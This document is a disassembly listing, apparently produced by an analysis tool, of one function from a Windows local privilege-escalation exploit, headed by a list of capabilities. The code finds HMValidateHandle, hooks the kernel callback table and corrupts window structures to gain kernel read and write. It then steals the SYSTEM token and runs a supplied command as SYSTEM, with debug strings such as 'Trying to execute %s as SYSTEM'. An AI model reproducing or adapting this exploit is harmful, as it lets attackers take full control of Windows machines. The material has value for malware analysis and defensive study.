Function at 0x140001410
Capabilities:
Allocate or change rwx memory
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Execute command
Execute shellcode via indirect call
Read file on windows
Set registry value

Disassembly:
push rbp
push rdi
lea rbp, [rsp - 0xc1c8]
mov eax, 0xc2c8
call fcn.140002da0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xc1a0], rax
lea rcx, str.pause
mov qword [rsp + 0x70], rdx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
jne 0x140001469
lea rcx, str.Failed_to_load_user32
jmp 0x1400014ae
lea rdx, str.IsMenu
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rax
test rax, rax
jne 0x14000148a
lea rcx, str.Failed_to_find_location_of_exported_function_IsMenu_within_user32.dll_n
jmp 0x1400014ae
xor eax, eax
mov rcx, rdx
nop
inc eax
cmp byte [rcx], 0xe8
je 0x1400014a3
inc rcx
cmp eax, 0x1000
jb 0x140001490
jmp 0x1400014a7
test eax, eax
jne 0x1400014c9
lea rcx, str.Failed_to_find_offset_of_HMValidateHandle_from_location_of_IsMenu_n
call fcn.140001070
lea rcx, str.____Failed_to_locate_HmValidateHandle__exiting_n
call fcn.140001070
mov eax, 1
jmp 0x140001f69
mov ecx, dword [rax + rdx]
sub ecx, edi
mov qword [rsp + 0xc2e0], rbx
mov qword [rsp + 0xc2f0], rsi
add ecx, edx
mov qword [rsp + 0xc2f8], r12
add rdi, 0xb
add rcx, rdi
mov qword [rsp + 0xc2c0], r13
mov qword [0x1400056b0], rcx
lea rcx, str.win32u.dll
mov qword [rsp + 0xc2b8], r14
mov qword [rsp + 0xc2b0], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtUserConsoleControl
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov qword [0x140005690], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCallbackReturn
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400056a8], rax
lea r9, [rbp + 0xd0]
mov rax, qword gs:[0x60]
mov edx, 0x300
mov r8d, 0x40
mov rdi, qword [rax + 0x58]
mov rax, qword [rdi + 0x3d8]
lea rcx, [rdi + 0x3d8]
mov qword [0x1400056c8], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [0x1400010d0]
mov edx, 0x300
mov qword [rdi + 0x3d8], rax
lea r9, [rbp + 0xd0]
mov r8d, dword [rbp + 0xd0]
lea rcx, [rdi + 0x3d8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
xorps xmm0, xmm0
mov qword [rbp + 0x38], 0
mov edi, eax
movdqa xmmword [rbp + 0x10], xmm0
mov eax, 0x80808081
mov dword [rbp - 0x10], 0x50
imul edi
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x20], xmm1
mov dword [rbp - 0xc], 3
add edx, edi
mov dword [rbp], 0
sar edx, 7
mov ecx, edx
mov dword [rbp + 4], 0x20
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub edi, ecx
xor ecx, ecx
lea eax, [rdi + 0x1234]
cdqe
or rax, 1
mov qword [0x140005688], rax
lea rax, [0x1400011e0]
mov qword [rbp - 8], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 8], rax
lea rcx, [rbp - 0x10]
lea rax, str.normalClass
mov qword [rbp + 0x30], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov ecx, dword [0x140005688]
movzx r14d, ax
lea rax, str.magicClass
mov dword [rbp + 4], ecx
lea rcx, [rbp - 0x10]
mov qword [rbp + 0x30], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
movzx r12d, ax
call qword [sym.imp.USER32.dll_CreatePopupMenu]
mov edx, 0x200
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, 0x30
mov ecx, 0x40
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, 4
mov ecx, 0x40
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, 0xa0
mov ecx, 0x40
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, 8
mov ecx, 0x40
mov r13, rax
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [rdi + 0x2c], 0x10
lea rcx, str.CreateWnd_r_n
mov dword [rsi], 0x88888888
mov qword [rsi + 0x28], rdi
mov dword [rsi + 0x40], 1
mov dword [rsi + 0x44], 1
mov qword [rsi + 0x58], rax
mov qword [rbx + 8], 0x10
mov qword [rbx], rsi
mov qword [r13 + 0x98], rbx
mov qword [0x140005678], rax
call fcn.140001070
xorps xmm0, xmm0
xor r13d, r13d
xorps xmm1, xmm1
mov qword [rbp - 0x30], r13
movdqu xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x28], r13
mov esi, r13d
mov qword [rbp - 0x20], r13
mov r15d, 0xa
mov qword [rbp - 0x18], r13
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm1
movups xmmword [rbp + 0x140], xmm1
movups xmmword [rbp + 0x150], xmm1
movups xmmword [rbp + 0x160], xmm1
movups xmmword [rbp + 0x170], xmm1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
call qword [sym.imp.USER32.dll_CreateMenu]
mov qword [rsp + 0x58], r13
lea r8, str.somewnd
mov qword [rsp + 0x50], rdi
mov r9d, 0x8000000
mov qword [rsp + 0x48], rax
mov rdx, r14
mov qword [rsp + 0x40], r13
mov ecx, r9d
mov dword [rsp + 0x38], r13d
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [rbp + rsi + 0x130], rax
mov edx, 1
mov rdi, rax
call qword [0x1400056b0]
mov rdx, rdi
lea rcx, str.Hwnd:_08x___qwfirstEntryDesktop_p_r_n
mov r8, rax
mov qword [rbp + rsi + 0xe0], rax
mov rbx, rax
call fcn.140001070
mov r8d, 0x30
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov r8, qword [rbp - 0x28]
lea rcx, str.BaseAddress:_p___RegionSize:_p_r_n
mov rdx, qword [rbp - 0x40]
call fcn.140001070
mov rdx, qword [0x1400056c0]
mov rax, qword [rbp - 0x40]
test rdx, rdx
je 0x14000186a
cmp rdx, rax
jb 0x14000187f
mov rdx, rax
mov qword [0x1400056c0], rax
mov rax, qword [rbp - 0x28]
mov qword [0x1400056a0], rax
add rsi, 8
sub r15, 1
jne 0x1400017a6
mov r8, qword [0x1400056a0]
lea rcx, str.Min_BaseAddress:_p___RegionSize:_p_r_n
call fcn.140001070
mov rax, qword [rbp + 0xe0]
mov rcx, r13
mov r13, qword [rsp + 0x68]
mov edi, dword [rax + 8]
mov rax, qword [rbp + 0xe8]
mov edx, dword [rax + 8]
cmp edx, edi
sbb r8, r8
and r8d, 8
cmp edi, edx
mov edi, 2
mov rax, qword [rbp + r8 + 0x130]
mov rsi, qword [rbp + r8 + 0xe0]
mov qword [rbp - 0x70], rax
mov eax, 8
cmovbe rcx, rax
mov rax, qword [rbp + rcx + 0x130]
mov rbx, qword [rbp + rcx + 0xe0]
mov qword [0x140005698], rax
mov eax, dword [rsi + 8]
mov dword [0x140005680], eax
mov r15d, dword [rbx + 8]
nop dword [rax]
mov rcx, qword [rbp + rdi*8 + 0x130]
call qword [sym.imp.USER32.dll_DestroyWindow]
inc rdi
cmp rdi, 0xa
jl 0x140001910
mov r8d, 0x10
lea rdx, [rbp - 0x70]
mov ecx, 6
call qword [0x140005690]
mov eax, dword [rbx + 0x128]
xor ecx, ecx
mov esi, dword [rsi + 0x128]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x68], esi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
call qword [sym.imp.USER32.dll_CreateMenu]
xor r14d, r14d
lea r8, str.somewnd
mov qword [rsp + 0x58], r14
mov r9d, 0x8000000
mov qword [rsp + 0x50], rdi
mov rdx, r12
mov qword [rsp + 0x48], rax
mov ecx, r9d
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rdx, rax
mov qword [rsp + 0x78], rax
lea rcx, str.realMagicHwnd_p_n
mov rdi, rax
call fcn.140001070
mov r8d, dword [0x140005680]
mov edx, 0x128
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov edx, eax
lea rcx, str.dwRet_p_r_n
call fcn.140001070
mov edx, esi
lea rcx, str.tagWndMin_offset_0x128_p_r_n
call fcn.140001070
mov edx, 0xc8
mov r8d, 0xfffffff
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov r8, qword [rbx + 0x18]
mov edx, r15d
sub edx, dword [0x140005680]
movabs rax, 0x4000000000000000
mov rcx, qword [rbp - 0x70]
add edx, 0x18
mov qword [0x140005668], r8
xor r8, rax
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov rcx, qword [0x140005698]
mov r8, r13
mov edx, 0xfffffff4
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov rdx, rax
mov qword [0x140005670], rax
lea rcx, str.g_qwExpLoit_p_r_n
call fcn.140001070
mov rax, qword [0x140005670]
mov edx, r15d
sub edx, dword [0x140005680]
mov r8, qword [0x140005668]
add edx, 0x18
mov rcx, qword [rbp - 0x70]
mov qword [rbp - 0x78], rax
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov rcx, qword [0x140005670]
add rcx, 0x50
call fcn.140001210
mov rdx, rax
lea rcx, str.qwFrist_read_p_r_n
mov rbx, rax
call fcn.140001070
lea rcx, [rbx + 0x18]
call fcn.140001210
mov rdi, rax
mov rdx, rax
lea rcx, str.qwSecond_read_p_r_n
call fcn.140001070
lea rcx, [rdi + 0x80]
call fcn.140001210
mov rdx, rax
mov qword [rbp - 0x80], rax
lea rcx, str.qwSecond_read_p_r_n
call fcn.140001070
lea rcx, [rbx + 0x10]
call fcn.140001210
mov rdx, rax
lea rcx, str.qwFourth_read_p_r_n
mov rdi, rax
call fcn.140001070
mov rcx, rdi
call fcn.140001210
mov rdx, rax
lea rcx, str.qwFifth_read_p_r_n
mov rdi, rax
call fcn.140001070
lea rcx, [rdi + 0x220]
call fcn.140001210
mov rdx, rax
lea rcx, str.qwSixth_read_p_r_n
mov rdi, rax
call fcn.140001070
mov r13, rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r12d, eax
xor esi, esi
nop
test r14, r14
je 0x140001b4a
test rsi, rsi
jne 0x140001b91
lea rcx, [rdi + 0x2e8]
call fcn.140001210
mov rbx, rax
cmp eax, 4
jne 0x140001b6d
lea rcx, [rdi + 0x360]
call fcn.140001210
mov r14, rax
cmp ebx, r12d
jne 0x140001b79
lea rsi, [rdi + 0x360]
lea rcx, [rdi + 0x2f0]
call fcn.140001210
lea rdi, [rax - 0x2f0]
cmp r13, rdi
jne 0x140001b40
mov rcx, qword [rbp - 0x70]
mov edx, r15d
sub edx, dword [0x140005680]
mov r8, rsi
add edx, 0x128
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov rcx, qword [0x140005698]
mov r8, r14
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
xor edx, edx
lea rcx, [rbp + 0x21a0]
mov r8d, 0xa000
call sub.VCRUNTIME140.dll_memset
xor eax, eax
lea rdi, [rbp + 0x60]
xor esi, esi
lea r8, [rbp - 0x58]
mov ecx, 0x68
lea rdx, [rbp - 0x60]
rep stosb byte [rdi], al
lea rdi, [rbp + 0x40]
mov ecx, 0x18
rep stosb byte [rdi], al
lea rdi, [rbp - 0x58]
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, [rbp - 0x68]
mov dword [rbp - 0x58], 0x18
xor r9d, r9d
mov qword [rbp - 0x50], rsi
mov edi, esi
mov dword [rbp - 0x48], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
mov r14, qword [rsp + 0xc2b8]
mov r13, qword [rsp + 0xc2c0]
mov r12, qword [rsp + 0xc2f8]
test eax, eax
jne 0x140001c47
mov eax, 0xfffffffd
jmp 0x140001f51
movups xmm0, xmmword [str.WinSta0Default]
mov rbx, qword [rsp + 0x70]
lea rcx, str.___Trying_to_execute__s_as_SYSTEM_n
movups xmm1, xmmword [0x140003670]
movups xmmword [rbp + 0x180], xmm0
mov rdx, qword [rbx + 8]
movups xmmword [rbp + 0x190], xmm1
call fcn.140001010
lea rcx, [rbp + 0x60]
mov dword [rbp + 0x60], 0x68
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov rax, qword [rbp - 0x60]
lea rcx, [rbp + 0x1a0]
mov qword [rbp + 0xc0], rax
xor edx, edx
mov qword [rbp + 0xb8], rax
mov r8d, 0x2000
lea rax, [rbp + 0x180]
mov word [rbp + 0xa0], si
mov qword [rbp + 0x70], rax
mov dword [rbp + 0x9c], 0x101
call sub.VCRUNTIME140.dll_memset
mov rdx, qword [rbx + 8]
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rax, [rbp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x1a0]
lea rax, [rbp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rbp - 0x60]
test eax, eax
jne 0x140001d4f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateProcessW_Failed___lx__n
call fcn.140001070
mov eax, 0xfffffffe
jmp 0x140001f51
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [rbp + 0x50]
lea rcx, str.___ProcessCreated_with_pid__d__n
call fcn.140001070
mov rcx, qword [rbp - 0x68]
lea r9, [rbp + 0xd4]
mov r8d, 0xfa0
mov qword [rsp + 0x20], rsi
lea rdx, [rbp + 0x21a0]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001dc3
nop dword [rax + rax]
add edi, dword [rbp + 0xd4]
lea rdx, [rbp + 0x21a0]
mov rcx, qword [rbp - 0x68]
lea r9, [rbp + 0xd4]
movsxd rax, edi
mov r8d, 0xfa0
add rdx, rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140001d90
lea rcx, str.
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
lea rcx, [rbp + 0x21a0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
mov edx, 1
call qword [0x1400056b0]
mov rsi, qword [rbp - 0x80]
mov edx, r15d
sub edx, dword [0x140005680]
mov rdi, rax
movabs rax, 0x80000000000
add edx, 0x128
lea r8, [rsi + 0x128]
mov ecx, dword [rdi + 8]
mov rbx, qword [rdi + 0xe0]
add r8, rcx
mov rcx, qword [rbp - 0x70]
xor rbx, rax
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov rcx, qword [0x140005698]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov eax, dword [rdi + 8]
lea r8, [rsi + 0xe0]
mov rcx, qword [rbp - 0x70]
mov edx, r15d
sub edx, dword [0x140005680]
add r8, rax
add edx, 0x128
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov rcx, qword [0x140005698]
mov r8, rbx
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov r8, qword [0x140005668]
mov edx, r15d
sub edx, dword [0x140005680]
movabs rax, 0x4000000000000000
mov rcx, qword [rbp - 0x70]
add edx, 0x18
xor r8, rax
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov r8, qword [rbp - 0x78]
mov edx, 0xfffffff4
mov rcx, qword [0x140005698]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov r8, qword [0x140005668]
mov edx, r15d
sub edx, dword [0x140005680]
mov rcx, qword [rbp - 0x70]
add edx, 0x18
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
sub r15d, dword [0x140005680]
mov r8d, dword [rsp + 0x60]
mov rcx, qword [rbp - 0x70]
lea edx, [r15 + 0x128]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov r8d, dword [rsp + 0x68]
mov edx, 0x128
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rsi, qword [rsp + 0xc2f0]
mov rbx, qword [rsp + 0xc2e0]
mov r15, qword [rsp + 0xc2b0]
mov rcx, qword [rbp + 0xc1a0]
xor rcx, rsp
call fcn.140001fa0
add rsp, 0xc2c8
pop rdi
pop rbp
ret